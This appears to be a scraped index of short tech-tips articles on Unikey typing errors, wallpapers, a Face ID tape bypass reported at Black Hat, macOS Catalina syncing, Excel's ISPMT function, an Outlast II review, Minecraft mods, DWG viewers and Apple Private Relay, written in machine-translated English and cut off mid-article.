ncG1vNJzZmismaXArq3KnmWcp51ks6q6w2amrqxdnby4edKsm2acop7Dpr%2BMsKarow%3D%3D\n","link":"/post/find-out-how-ssd-drives-work/","section":"post","tags":null,"title":"Find out how SSD drives work"},{"body":"Unikey is a tool that supports popular Vietnamese typing and is currently used by many users. For those who work in the office, handling hundreds of documents, Unikey has become an effective support tool, with compact size, simple interface and easy to use.\nUnikey when typing Vietnamese when using Vietnamese keyboard, is a mistake many users still encounter. This error causes many difficulties for users in their daily work. So the cause of Unikey error does not type Vietnamese with the mark of where and how to fix this Unikey? Please follow the following article of Network Administrator to find solutions when you cannot type Vietnamese on Unikey.\n1. Unikey error due to inappropriate installation Download Unikey for the computer First of all, you need to check if your computer is using the version of Unikey installer already. It is possible to configure each computer differently so we also need to choose the correct version of Unikey accordingly.\nFor example, with Windows 7 or later, you should install Unikey 4.0. Windows 8 and above operating system install Unikey 4.2 RC1 version. Or the Unikey 32-bit and 64-bit versions are also different when used.\nRemedy : Check your computer and then download a new version of Unikey that fits your computer.\n2. Error typing Vietnamese Unikey by choosing the wrong typing mode There are quite a lot of people who start Unikey but forget to switch to Vietnamese typing mode but still use English typing mode.\nFix : you just need to click the Unikey icon under the Taskbar to check. If the Unikey icon is in green E mode, it means we are typing in English mode. Click on the icon to switch to the red Unikey icon and type in Vietnamese , or use Ctrl + Shift.\n  3. Unikey error due to percussion conflict On your computer, you should only install a set of tools to support Vietnamese typing. In this case, just install Unikey. The many users after installing Unikey but forgot to remove the old Vietnamese keyboard as Vietkey also led to the error typing Vietnamese on Unikey.\nSolution : Check the programs that are installed on the computer in Control Panel . If there are two percussions, remove one of the Vietnamese keyboards.\n  4. Unikey error due to wrong typing configuration Many people are still unclear about how to use Encoding and Typing Method in Unikey. Thus leading to wrong choice and unable to type in Vietnamese accented.\nRemedy : we will switch to using Unicode Code and Telex Typing for Unikey to type Vietnamese .\n  Thus, we have pointed out the reasons why Unikey could not type Vietnamese and how to overcome each cause. If you have not typed Vietnamese, please uninstall Unikey on your computer and install again.\nIf you have tried all the above methods and still cannot fix the error, Unikey, then try using EVkey software to type Vietnamese on the computer. This software is quite similar to Unikey both in terms of interface and how it works, but it has been programmed to fix most errors that cannot type Vietnamese when using Unikey.\nRefer to the following articles:\nFix errors not typing Vietnamese on Chrome How to convert font code with Unikey How to transfer unsigned text with Unikey I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ks6rEjK2fnmWVp7%2BwvoyupaKjla56pK3NrWStsaCaere1xK2lmqWVqLI%3D\n","link":"/post/fix-the-error-unikey-can-t-type-vietnamese/","section":"post","tags":null,"title":"Fix the error Unikey can't type Vietnamese"},{"body":"Continuing the series of articles about beautiful wallpapers for computers, today's article of Network Administrator will send you to read cute, funny and lovely computer wallpapers that are suitable for girls to use. computer wallpaper for yourself.\nMy father once had the phrase 'A smile with ten tonic scales', this is absolutely true, the smile helps us to relieve all tiredness, stress in the special life after hours of stress and fatigue. or when you encounter something sad, open up your computer and watch these wallpapers, you will surely see how beautiful and lovely this life is. So what are you hesitating for without downloading immediately this lovely wallpaper for your computer.\n  The wallpaper is pink in color, bringing a feeling of joy and sweetness in love of life.\n  If you love these doll characters, you can use them as your desktop wallpaper.\n  The cute, cute style of computer wallpaper is similar to the personality of the owner of this machine.\n    Wallpapers cannot be more lovely with mainstream pink.\n                                If you love these wallpapers and want to download them for use on your computer, download it for free right here.\nSee more:\n[Download] Collection of full HD wallpapers for laptops, natural landscape theme Download now a set of funny wallpapers and qualities for smartphones Collection of 2018 Tuoi Spring wallpaper for computers ncG1vNJzZmismaXArq3KnmWcp51ks7a6zbJknK2kmnqtu9Weo7Jlp5a5rbzAqZyrq12bvLN5wqikqa2kmr9uv8KrnJ6mow%3D%3D\n","link":"/post/funny-cute-lovely-wallpapers-for-computer-screens/","section":"post","tags":null,"title":"Funny, cute, lovely wallpapers for computer screens"},{"body":"Not long ago, Tencent's security researchers discovered that Apple's Face ID biometric authentication system could be fooled by using a pair of black adhesive tape, and a piece of white tape in the center of the lenses.\nAccording to experts, this method could fool Face ID by making this security tool think users are opening their eyes, which could allow crooks to access locked iPhones while the owner is still sleep and unaware.\nThe iPhone can be hacked with just one message without requiring user interaction   This new Face ID hack method has been announced by Tencent experts at Black Hat 2019\nTheoretically, but in fact, to carry out a manual iPhone hack is not easy, and the ability to succeed is not too high, simply because it needs quite a bit. factors outside the hacker control, such as the prerequisite that the owner of the iPhone must be sleeping or close his eyes, can deceive Face ID. Also wearing glasses so that the owner of the iPhone does not wake up is a big problem.\nAlthough the way to proceed is relatively difficult, but the operating principle of this hack method is surprisingly simple. The reason for this pair of black adhesive tape can deceive the process of 'real' or 'fake' face recognition because the black adhesive tape plays a role in simulating the eye area, and the white part will 'fake' is pupil of the eye. These two elements work together easily to bypass FaceID, making this authentication tool skip the user's Liveness Detection step and unlock the iPhone.\nApple expanded the size of the security bug detection program to receive bonuses, including macOS, a maximum bonus of $ 1 million   \"The black tape section plays a role in simulating the eye area, and the white part will 'fake' as pupil eyes\"\nTencent's discovery has also shed light on an interesting way of seemingly tight operation but contains a few weaknesses in Apple's latest biometric security process. Researchers have shown that when an object wears glasses, Face ID actually only tries to find 2D information and not 3D information from the eye area. While this fake 2D information can be simulated relatively easily with just a piece of white spot black tape and stuck to the two sides as mentioned above, this makes Face ID mistakenly think it is the human eye and allow unlocking iPhone.\nThis is not the first time security researchers have claimed to have discovered a 'silly' vulnerability on Face ID. Back in 2017, Bkav himself announced a video recording how to unlock an iPhone using a silicon mask full of eyes, nose, lips, and mouth, all printed on paper. This mask is printed in 3D (costs about 200 USD), made of stone powder material, eye part with 2D image. In particular, the part of the eyes due to the special role should be printed with infrared photos - technology that Face ID itself uses to record face images. The iPhone X in the test was immediately unlocked.\nThe fate of the smartphones in the second hand market: Removed to every detail, can restore data to steal information Model of Bkav's Face ID hack method\nThese materials and supplies are not difficult to find in reality. However, this method works mostly based on the group having access to detailed measurements or digital scanning on Face ID's face, and this is in fact very unlikely.\nNot only Face ID, another Apple biometric security method, Touch ID, has also been hacked successfully within 24 hours from the time the iPhone has the world's first fingerprint sensor. sold out. The way to proceed is also very simple, just print a high-resolution fingerprint image and overlap the actual scale of the fingerprint structure in a scale of 1-1.\nWhy is the Apple printed circuit board black while most other manufacturers are green?   Touch ID has been hacked successfully after only 24 hours of launch\nBiometric security is a modern security method, high accuracy and will be used more widely in the future. However, to make this form of identity authentication an optimal security method, developers will have a lot of work to do. Although most of the current hacking methods are quite difficult to implement in practice, but not impossible, and the \"gaps\" that make the biometric authentication tool out of the way should be fixed in time. earliest.\nncG1vNJzZmismaXArq3KnmWcp51ktaKvyp6prGWTlrturtipmKyrXam1pnnFmpqeZZmZeqetwp5ksKGknXqrwdKtZJploJa2s3nOn2SbpJGYuG6tw6GcrKGmmnq1rc%2Be\n","link":"/post/hackers-can-bypass-the-face-id-face-with-just-a-pair-of-black-adhesive-tape/","section":"post","tags":null,"title":"Hackers can bypass the Face ID face with just a pair of black adhesive tape"},{"body":"Navigation Gestures is an application that will help you to hide the navigation bar, control by swipe gesture similar to Android P or iPhone X when back, multitask, return to Home screen, . on the phone. This is a new application developed by XDA programmers, if you are interested in the following, it will be a detailed guide on how to bring swipe gesture control to all Android phones.\nStep 1:\nProceed to download and install Navigation Gestures like normal applications.\nDownload Navigation Gestures for Android Step 2:\nStart the application, the first time you use it you need to grant access to the application to work.\n  Step 3:\nNext, check if the navigation bar is hidden.\n  Step 4:\nBy default, to return to Home, press once, return to the previous application twice or press and hold long to call the virtual assistant. However, you can customize the action you want to use as you like by going to Settings\u0026gt; Gestures . Besides, Appearance also allows to increase or decrease the size of the virtual navigation bar you use.\n  A few points to consider when implementing:\nThe Android Oreo phone will fail, if you are using Android 8.1, you should not use it. The software is developed by XDA forum programmers and is still in the process of being improved more. An error may occur, you should consider this. See more:\nControl your Android phone easily with one hand with these 9 tips Control your iPhone with gestures . shake your head Put the volume control button on the notification bar like the Android P interface Tips to put virtual navigation bar on iPhone X on Android devices ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqinruoedKwoKmdXZyytMDUq5xmm5%2BjwbO7y2arqGWVq7KzxYyapZ2qn56xbrzHqKWe\n","link":"/post/how-to-bring-swipe-gesture-control-to-every-android-phone/","section":"post","tags":null,"title":"How to bring swipe gesture control to every Android phone"},{"body":"If you've upgraded your Mac to macOS Catalina, you may have noticed that the iTunes application is missing. Instead, it has been replaced by three other apps, Music, Apple Podcasts and Apple TV.\nThis means that there is no dedicated application to sync iOS devices with Macs, which is the greatest feature of iTunes. This new method is a little different on macOS Catalina and has nothing to do with using any application other than Finder.TipsMake.com will show you how to do this below.\n1. Open Finder on a Mac. (You can do so from the Finder icon in the Dock .)\n  2. Connect your iOS device to the Mac. You can see it in the Finder sidebar.\n  Note : If you don't see the sidebar, make sure it is enabled by going to View\u0026gt; Show Sidebar in Finder.\n3. When doing so, you will see the same device sync interface previously available in iTunes. From here, you can manage backing up and syncing content from your Mac to your iOS device and vice versa.\nTo back up your iOS device, simply specify whether you want to back up your device to iCloud or to your Mac (local backup). You can only choose one, so you'll have to turn off iCloud backups, if you want to continue syncing your device with your Mac. Once done, just click 'Back Up Now' to backup the device. Similarly, you can restore an earlier backup on your iOS device by clicking 'Restore Backup' .\n  You can also choose to display your device whenever connected to the same WiFi network. This will allow you to manage sync options remotely.\n  Using different tabs for each media content, you will be able to sync specific or all media content with your iOS device. This includes Music, Movies, TV Shows, Podcasts, Audiobooks, Photos and Files .\nIn each tab, if the Sync option is turned on (for example, Sync Music ), you can choose whether you want to sync your entire library or just specific content.\n  Content for Music, Movies / TV Shows, Podcasts, Books / Audiobooks, Photos comes from Music, Apple TV, Podcasts, iBooks and Photos respectively . Therefore, if you want to add more content to your device, you need to make sure that it has been added in the corresponding application before syncing with the device.\nIf you need to sync photos from the Photos app on your Mac to your iPhone, you'll need to turn off iCloud Photo Library sync on your device.\nThe Files tab will allow you to sync data related to specific apps from / to iOS devices.\n  You can also choose to back up your contacts ( Contacts ), calendar information ( Calender ), etc. from the Info tab .\n  Everything is done. It's easy to sync an iOS device with a Mac in macOS Catalina. If you have any other comments, please share them in the comments section below!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqupo7Butc6sZJ2dpp6wpnnWoquhZZ2WsLC%2FjJyYrZmcnrui\n","link":"/post/how-to-sync-ios-device-with-macos-catalina/","section":"post","tags":null,"title":"How to sync iOS device with macOS Catalina"},{"body":"Typhoon Pokémon GO as soon as it was released swept all app and game rankings and showed no signs of cooling down. All information, tips, and gameplay related to Pokémon GO also become information that attracts all gamers. And recently, an individual's GoChat application for Pokémon GO gamers comes with features that allow players to chat with each other.\nIn the process of participating in catching Pokémon, thanks to this application we can exchange more useful information with many other gamers, such as how to effectively capture Pokémon, how to earn a Pokéball, etc. From there, you will have the necessary experience to be able to own many Pokémon, or win the process of protecting the GYM room.\nTrick to evolve Eevee - Potential Pokémon in Pokémon Go Summary - How to play Pokemon GO, virtual reality game catch Pokemon on smartphone How to own the \"dominant\" Pokémon in Pokémon Go? Step 1: First of all, download the GoChat app for Android and iOS by the link below:\nDownload GoChat for Android Download GoChat for iOS for free Step 2: After that, we start the GoChat application on the device. Since you do not have an account in GoChat, you will click on Sign up to sign up .\n   GoChat will require users to create a new account to be able to use. Enter the name as well as 2 times the password for the account and then click Create account to create an account using GoChat.\n   Step 3: Like Pokémon GO, GoChat also requires the use of a location location service , and click Allow to allow it. The application will automatically detect other players who are nearby and listed in a list.\nClick on the list to know the location of the player as well as new information of other players.\n   Step 4: Also at that interface, you click the Settings section to display some more distance between you and other players so that GoChat can be found. Select the distance and click Done to search. The Post section will be where you post your article and share it to gamers.\n   Step 5: We can also delete the post by clicking on our account name and selecting Delete . If you want to exchange information with other players, touch the player's name and then appear more options. Click Message to conduct chat, Report or Block to prevent someone from chatting with you.\n    Above is a tutorial on how to use the GoChat app, exchange and chat with Pokémon GO players. The atmosphere that catches Pokémon will become a lot more hilarious than it is that only you will join the journey to conquer Pokémon as before.\nRefer to the following articles: Pokémon systems when fighting in Pokémon Go AZ word about eggs in Pokemon Go Instructions on how to revive Pokémon in Pokémon Go I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqou8KhmK1lkaW9rbXCmquip55itq95z6iinqWfo3qouw%3D%3D\n","link":"/post/how-to-use-gochat-application-in-pok%C3%A9mon-go/","section":"post","tags":null,"title":"How to use GoChat application in Pokémon GO"},{"body":"If you have tried installing the Google Chrome browser on Ubuntu, it will realize that it is not available in Ubuntu Software Center. However, downloading Google Chrome and installing it is not too difficult. TipsMake.com will guide you in the article below.\nDownload Ubuntu (32 bit) 12.04.4 Download Ubuntu (64 bit) 12.04.4 Before downloading Google Chrome, you need to determine if your operating system is 32 or 64 bit . Once it's determined, press Ctrl + Alt + T to open the Terminal window and type the following command into the \"prompt\" and press Enter .\n    The installation package is downloaded to the current directory while the download is displayed in the Terminal window\nNote : The default folder when you open the Terminal window is your home directory (/ home /).\n  When downloading the file, type the following command into the prompt (or copy) and press Enter\n  Note : The above commands will execute if you do not change the directory when downloading the file and if you have changed the directory, please add the full path to the file. For example: \" /home/lori/google-chrome-stable_current_amd64.deb \".\nEnter the password when asked and press Enter\n  When the installation process is finished, type \"exit\" into \"promt\" or click the \"x\" in the upper left corner to close the Terminal window.\n  To open the Google Chrome browser, click on the Dash button at the top of the Unity Launcher bar and enter the word \"Google Chrome\" . When the Google Chrome icon appears, click to open it.\n  In the first start of Chrome will appear the following dialog box, if you want this to be the default browser, please tick the \"Make Google Chrome the default browser\" . Then, click OK to close the dialog box.\n  Google Chrome normally opens the \"Set up Chrome\" page (Chrome settings). If you use Chrome on other platforms (Windows), then log in to your Google account to sync and download items such as bookmarks ( bookmarks ), history ( history ). If you do not want to sync, you can click on the \"No thanks\" link as shown below.\n  When opening a new page (New Tab) there will be a message line showing that you can use the address bar to search and enter the website access URL .\n  This is the second tab that you opened the first time you ran Chrome. This tab will display the Welcome to Chrome page and give you some tips on using Chrome. To find out, click Learn more .\n  To close the tab, click on the \"x\" in the upper right corner\n  If you do not synchronize data from your Google account, you can import bookmarks and settings from other browsers ( Firefox ) or from an HTML file. To do so, click on the \"Import bookmarks now .\" link in the upper right corner of the New Tab page.\n  When the 'Import bookmarks and settings' dialog box opens, click the drop-down arrow to select the data entry source ( from another browser such as Firefox or from the HTML file ) and tick the items you want to import. Then click Import to start.\n  When the data import process is completed, there will be a message box, click Done to close\n  If you import bookmarks from another browser, they will be placed in a folder on the Bookmarks bar.\n  The Settings window will allow you to customize your browser. For example, if Chrome does not show the Home button, you can add it by clicking the Show Home button in the Appearance section.\n  Note: If you have not logged in to your Google account, you can click Sign in Chrome to start logging in.\nBy default, the New Tab page will display when you press the Home button. However, you can change to any page you want by clicking on the Change link as shown below.\n  In the Home page dialog box, select Open this page and enter the website address you want to display when you press the Home button\n  Also by default, the title bar will not be displayed. To display it, please tick the Use system title bar and borders box\n  If you want Google Chrome to be the default browser, click Make Google Chrome the default browser\n  In addition, you can set up many more features. Once set up, press the Home button to return to the home page.\n  To add bookmarks to favorites, drag the icon in the address bar to the Bookmarks bar.\n  So, we have introduced how to install and basically install Google Chrome on Ubuntu operating system for you. From now on, you can \"comfortably\" use this browser for Ubuntu operating system.\nRead more: Instructions for installing Ubuntu on VMware Workstation - Part 1 Instructions for installing Ubuntu on VMware Workstation - Part 2 Hope the article will be useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZekvKi4xGaaoaqforJuu81mrJutnqnCbrvPnqmarJmjtG6%2F2KyrnqU%3D\n","link":"/post/instructions-for-installing-google-chrome-on-ubuntu-operating-system/","section":"post","tags":null,"title":"Instructions for installing Google Chrome on Ubuntu operating system"},{"body":"In the investment process, the most important thing is the interest - based on the determination of the interest payable to have the most appropriate adjustment direction. The following article introduces in detail ISPMT function - The function of calculating interest in a definite term helps you have the best direction.\nDescription: The function calculates the interest of an investment for a specific period.\nSyntax: ISPMT (rate, per, nper, pv) .\nInside:\n- rate: The interest rate of the investment, which is a required parameter.\n- per: The period you want to calculate interest, the value determined from 1 -\u0026gt; nper, is a required parameter.\n- nper: Total number of terms in the investment process, which is required.\n- pv: Present value of the investment, where the investment is the borrowed value, pv is the amount borrowed to invest, pv is the required parameter.\nAttention: \n- Between nper and pv, it is necessary to be consistent about units, for example, if nper is calculated by month, then pv is required to be monthly.\n- With the payables shown as negative numbers, and amounts such as dividend checks, deposits are represented by positive numbers.\nFor example:\nCalculate the amount of interest payable in the first and second month of an investment knowing the following parameters:\n  - Calculating interest payable in the first month is:\nIn the cell to be calculated enter the following formula: = ISPMT (C14 / 12, C15, C16 * 12, C17) .\nBecause interest is calculated in the 1st month, the interest rate is divided annually c14 / 12 and the total investment period is calculated monthly C16 * 12.\n  Pressing Enter results (because the interest value should be negative):\n  So with an investment of 600 million loans at the interest rate of 0.326 the first month to pay more than 16 million interest.\n- Calculating interest payable in the 2nd year.\nIn the cell to calculate enter the formula: = ISPMT (C14,2, C16, C17) .\n  Pressing Enter results (because the interest value should be negative):\n  So if in the 2nd year, the investment is not paid, it must pay interest of over 130 million.\nThe above is a detailed guide on how to use the ISPMT function. Hope to help you in determining the amount of interest to pay from there in the right direction.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktrS8zK1kn62emMGqu81mq6GdXZvCr6%2FToqanZaSdrrV5wpqjnK2clsGmv4yipa2doprAtXnFqKlmmV2ovaavyJ%2BgnpxdpbKztc6dZKKmXZrFpLHL\n","link":"/post/ispmt-function-the-function-that-calculates-interest-for-a-specified-period-in-excel/","section":"post","tags":null,"title":"ISPMT function - The function that calculates interest for a specified period in Excel"},{"body":" Publisher:\u0026nbsp;\nRed Barrels\nDeveloper:\nRed Barrels\nReleased: April 25, 2017\nReview:\nMature\n' Step by step, following the clatter of footsteps down the dark school hallways, the cupboard doors opened and closed on their own accord, like shutters in a strong wind. The dark color that bounced off the walls seemed to flow a deep red and emerge like veins that beat with each beat of the heart. From a gloomy place in a certain dark corner, the melancholy voice of a girl resounded singing a children's song in the distance. Immediately, an overwhelming feeling came over me: I know I'm not alone here. '\nTerror lurks in every corner of Outlast II, making it tense and exhilarating. This sequel leaves behind the claustrophobic refugee camp of the first installment for bigger ambitions. Players still wade through everything in the first-person perspective, solving puzzles 'gently' and avoiding enemies at all costs. The environment and psychology of fear in this Outlast II will be larger than its predecessor, but the storytelling suffers from relying too much on excitement.\n  Outlast II begins with investigative journalist Blake Langermann, who is searching for the truth behind the murder of Jane Doe in rural Arizona with his wife. However, upon arrival, the two were separated when Blake's wife was arrested by a group of extremists. This story is completely separate from the first Outlast, offering a whole new storyline within the same Outlast universe, so for first-timers there won't need to worry about getting 'lost in the dark'. '.\nFor most of the game, you evade two different factions of a religious cult that want you dead. Arizona's countryside offers a variety of environments, from rafting across a lake to entering the depths of a minefield. And the large areas in the game are so diverse, they can even disorient you even for players familiar with part 1. From the beginning, I became dizzy and got lost while running away. Enemies in a cornfield are like maze. That makes me very distracted and tired, especially in cases where it is required to get things or flip a switch to get the elevator or entrance to work.\nAnd especially, the interesting point of the game is that you will be unarmed and vulnerable like the way part 1 used to make us depressed before, that is, when the enemy finds you, your survival will depend on how fast you run and hide. Running only works in the long run as your stamina drops quickly and you have to hide from enemy sight while being chased. You can hide under your bed, in a closet, in a crate or in the water, or anywhere you can find where you're running. Each zone offers multiple ways to escape, but I usually have to run around and keep an eye on enemies, which can be fun sometimes if you know how to 'troll' enemies rather than being scary.\n  The only tool that follows your journey is the 'camera', which helps you see in the dark with night vision and informs you of the enemy's whereabouts using the microphone's sound level. Using night vision through the 'cam' makes things a lot more intimidating with the loss of sharpness and shades of green, but in return the microphone is effective in helping you gauge the time. safe point to get out of hiding. Both of the above features are very useful, in return you will have to pay the price. Using the camcorder will drain the battery and the extremely limited supply is scattered around, even with a little 'bad luck', you can just skip it. So when the battery runs out,you will learn that the battery system that Outlast offers can effectively increase your paranoia because you often rely on the camera to see everything around you.\nOutlast II is filled with intense chase scenes, a feature that has come back since the end. Occasionally, a demonic woman wielding a large weapon pursues you and brutally cuts off Blake's genitals. Other times, frenzied cultists hunt you down in waves, and you have to frantic past obstacles and crawl beneath patios as enemies try to stab you from above. Whenever you are chased, your heart will beat wildly, especially the scenes that appear when being caught are scary.\n  The chase scene is just one of the many ways Outlast II scares you. Images of torture pervade every nook and cranny you pass - you'll see people starved in iron cages, corpses wrapped in barbed wire and victims nailed to long spikes. You even get to experience some first-hand torture that can leave you with a stomach ache.\nSome of the best moments that take place in Outlast II are during flashbacks to Blake's childhood Catholic school from the '90s, where a disturbing mystery from his past slowly unfolds, which I see more engaging than the main part of the story. These dream-like sequences will distort your perception of the world by messing with your head. Sometimes warped walls or flickering lights cause hallucinations, such as a young girl hanging from a noose. It all happened so fast that I always questioned what I saw, it was terrifying.\n  The cinematic transitions between rural Arizona and these flashbacks are brilliantly conceived, such as the inside of a well turning into a school vent or a narrow space turning inside. closet. It's a very attractive effect, but sometimes it will disorient you making you feel as if you are having a mental breakdown.\nWhile Outlast II's scaryness is a huge plus, its story struggles to stay cohesive and ends in a rather hasty manner. This affects my focus on the story, where my connection to the characters is often not so strong. Shocking episodes are relied upon repeatedly, with overtly religious themes portrayed in a way that some may find offensive. But even if that doesn't bother you, the topic has not been handled very delicately.\n  In the end, Outlast II will ask you more questions than it answers, and you'll find too much to explain. This ambiguity can be effective in making you curious and want to experience it more, but over time will make your final conclusion unsatisfactory. Despite those unconvincing details, Outlast II is still a really stressful ride, and most of all, it will make you question your sanity. If thrills and gore are what you've been looking for, Outlast II is a convincing answer with lots of scary, haunting moments, or shivers, even screams. as long as you ignore its somewhat clumsy storytelling.\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZqelqbmiv9NmoKJlnZq7ta3LZpqopJyWvbSx\n","link":"/post/review-outlast-ii-mental-collapse/","section":"post","tags":null,"title":"Review : Outlast II - Mental collapse"},{"body":"There are many different ways to access Device Manager on Windows. In this article, Software Tips will guide you to open Device Manager in 4 most common ways.\nStart Menu can quickly activate several features on Windows and that includes Device Manager. To open the Device Manager feature, do the following:\nRight-click MenuStart and select Device Manager.\n  Immediately, Device Manager will appear for you to use.\n  Method 2: Open Device Manager through This PC This PC is the desktop icon available on Windows 10 and they can open a lot of different tools!\nStep 1: First, right-click This PC and select Manage.\n  Step 2: When the Computer Management window appears, select Device Manager. Here, you can use the full features of Device Manager.\n  Method 3: Open Device Manager through the Run window Besides the usual ways to open Device Manager, you can also choose to open Device Manager through the relatively more complicated Run window.\nStep 1: First, open MenuStart and enter Run to open or press Windows + R to open.\n  Step 2: When the Windows window appears, enter hdwwiz.cpl and click OK to open Device Manager.\n  The last way to open that Software Tips wants to send to you is the way to open it directly on MenuStart, similar to other software.\nYou proceed to open the Start Menu, enter Device Manager and press Enter.\n  The Device Manager window will appear with all the content for you to use.\n  In this article, Tipsmake showed you how to quickly open Device Manager on a Windows computer. Have a nice day!\nHow to open Device Manager Device Manager ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddpL2muoydnK%2Bhk5p6rq3Nmp6eql2ku27DyKebqK%2Bj\n","link":"/post/steps-to-open-device-manager-on-windows/","section":"post","tags":null,"title":"Steps to open Device Manager on Windows"},{"body":"The first generation iPhone was officially launched in August 2007 and only two months later the smartphone was hacked by George Hotz, a 17-year-old boy.\nThe first iPhone generation was sold exclusively by US carrier AT\u0026amp;T, so only US users who used AT\u0026amp;T service could buy it. Therefore, George Hotz wished the iPhone could be used with many operators in many different countries who sought to \"unlock\" the iPhone.\n  This process is not easy when the technology inside the iPhone is too new. However, after 500 hours of work, George Hotz successfully surpassed Apple's security layer, making the iPhone compatible with T-Mobile. The success of George Hotz created a great buzz in the technology world at the time.\n  Many people were surprised when Hotz shared: \"I simply want to use iPhone with T-Mobile network\".\nIt is known that George Hotz's method at the time was related to hardware and this is the premise for simpler unlocking methods later.\n Hotz's bedroom and office, where the first iPhone was hacked.\nJust after Hotz's success a month, a group of hackers figured out how to open the iPhone network with software, completely without interfering with the hardware.\nTerry Daidone, founder of Certicell, wanted to have Hotz's iPhone, so he called with a \"call\" that the young hacker could not deny. Hotz changed the first unlocked iPhone for Daidone to get a Nissan 350Z car and three other AT\u0026amp;T network-locked iPhones.\nLater, Hotz is also known for hacking Sony's PlayStation 3 handheld game console, which allows users to play games on PS3 without paying. Hotz is currently the owner of a company specializing in machine learning and vehicle automation named comma.ai after quitting at Facebook and Google.\nSee more:\nCan an Israeli security company unlock any iPhone, even when running iOS 11? Do you know who white hat hackers are and how their lives are? ncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWknbJussirqq1loJq%2FtLvNZqCnZaSdsm7DzqujnWWkpHqprcKkZKKomKS7pnnAp5tmrJiau260xGaumqtdpLutxYxqbmaxlZa%2FtHnOpZs%3D\n","link":"/post/this-is-the-first-person-in-the-world-to-hack-iphone-and-then-he-was-only-17-years-old/","section":"post","tags":null,"title":"This is the first person in the world to hack iPhone and then he was only 17 years old"},{"body":"WorldPainter Link DOWNLOAD WorldPainter here\nWorldPainter is one of the most interesting Minecraft mods ever launched into the construction gaming community. This mod can render images from a Paint software, such as Microsoft Paint, into the world of Minecraft.\nWorldPainter is completely free and open source. So, gamers can grasp the usage of this mod very quickly and start implementing their own unique building ideas.\nInstant Buildings Link DOWNLOAD Instant Buildings here\nWhile building in Minecraft is a very enjoyable activity, it is extremely tedious to constantly build too many of the same things. That's why a mod called \"Instant Buildings\" was created to help players build typical structures quickly.\nUp to now, this mod has had up to 20 different unique constructions for gamers to access and use immediately.\nEffortless Building Link DOWNLOAD Effortless Building here\n\"Effortless Building\" focuses on the ultimate building experience in the world of Minecraft. This mod has a lot of useful features to minimize the time in the build process like:\nPossibility to easily replace already placed blocks Random generator of different types of blocks Mirror mode to build everything symmetrical Ability to copy and paste parts of a construction Works in both survival mode and creative mode In addition, \"Effortless Building\" also includes 12 different building modes to help optimize specific construction areas.\nWorldEdit   Link DOWNLOAD WorldEdit here\nWorldEdit is probably the most famous Minecraft building mod of all time. This mod currently has tens of millions of downloads since its launch to date.\nWorldEdit makes it easy for players to perform large operations and saves gamers hours or even days of construction thanks to its virtually unlimited scale.\nA good example of WorldEdit's convenience is the ability to import and export schemas. As a result, you can transfer your constructions between different Minecraft worlds or directly import new constructions downloaded from the Internet.\nncG1vNJzZmismaXArq3KnmWcp51kuqq6xJypmp6kYsGwvIxtZJudo6l6rrvDrGSfp6JitKK5xKuqZq%2BYpHqtu9WeZK2nXZfCqrjD\n","link":"/post/top-4-best-mods-for-gamers-who-love-to-build/","section":"post","tags":null,"title":"Top 4 best mods for gamers who love to build"},{"body":"For those who pursue graphic design or architecture, it is no stranger to the DWG file format. This is the format of drawing files created by design software like AutoCAD. But even without AutoCAD, you can still open these DWG files with one of the free software below:\n1. DoubleCAD XT   Not only does it support viewing DWG files, this 3D design software also has basic features like creating, editing and some drawing tools available. Because of its free, simple and convenient features, DoubleCAD XT is always one of the most downloaded CAD software in the world.\n2. LibreCAD   This is a free, open-source CAD (Computer-Aided Design) software on Windows, Apple and Linux platforms. Therefore, users can completely use it easily with almost no obstacles. Supporting more than 30 languages ​​and available on many popular operating systems, LibreCAD has always been rated as one of the most versatile and complete 2D CAD software today.\n3. DraftSight   DraftSight is a professional 2D drafting and design solution that allows you to view, create and edit any type of 2D drawing. The familiar user interface makes it easy to switch to DraftSight even if you have already worked with another CAD application. The software supports many different operating systems such as Windows, MacOS and Linux.\n4. Mini CAD Viewer   A choice for those who do not have any professional knowledge about CAD. This is a software that supports viewing compact and free CAD files. Mini CAD Viewer allows you to move, zoom in and zoom out images. In addition, the thumbnail preview feature helps users quickly find the necessary file in the working directory. Another advantage is that it can also save drawings as BMP and JPG image formats. Currently the software supports 5 languages: English, French, German, Italian and Spanish.\n5. A360 (for Android and iOS)   Released by Autodesk, the A360 is specifically designed for architects, engineers and designers to view, comment on and mark 2D and 3D drawings. With over 100 CAD and more than 50 supported file formats, the A360 allows you to upload and view any file you have, regardless of which software it was created. Whether in the office or on the field, you can always take your A360 with you and keep up to date on your projects. Cloud storage feature is the outstanding feature of this application, helping you and your colleagues easily track, exchange and update project information in a coworking space.\nYou can download this app for free on Google Play or the App Store.\nHopefully after this article you know what a DWG file is, as well as a number of free and popular DWG file readers available today. If you are using any other software and feel comfortable, please share it with Thuthuatphanmem.vn offline!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRYrG4s4yfoKWdXai8p8DWmqmeZaSkerC8xKdkmqaUYr%2BmrcNmm7CfXZu2rbHS\n","link":"/post/what-is-a-dwg-file-software-to-open-and-read-dwg-files/","section":"post","tags":null,"title":"What is a DWG file? Software to open and read DWG files"},{"body":"In this article, TipsMake will learn with you what is Private Relay? What does Private Relay do and is it better than a VPN?\nWhat is Private Relay and what is its mission? Private Relay helps you hide browsing data like IP address, websites you visit. In short, Private Relay is a service that helps ensure that your browsing data is kept secret. confidential, secure.\n  Private Relay works thanks to the support of 2 servers, one from Apple and the other from a trusted content provider. When you visit a website using Safari, Private Relay encrypts the IP and website address (URL) and then sends it out. At Apple's servers the IP will be decrypted and then assigned with a random IP in the area.\nNext, at the provider's server the URL you visit will be decoded and then you will be taken to the website you want. By using two servers in this way, Apple ensures that no one can know your identity and the website you visit, including Apple.\nIs Private Relay a VPN or not? Apple claims Private Relay is not a VPN. Private Relay and VPN have some things in common but also have important differences. Firstly, Private Relay uses two servers, not a single server like a VPN. This helps Private Relay overcome the critical weakness of VPNs that is user data can be stored by the VPN provider.\nIn short, when you connect to a website, your internet service provider (ISP) stores data about that connection. When you use a 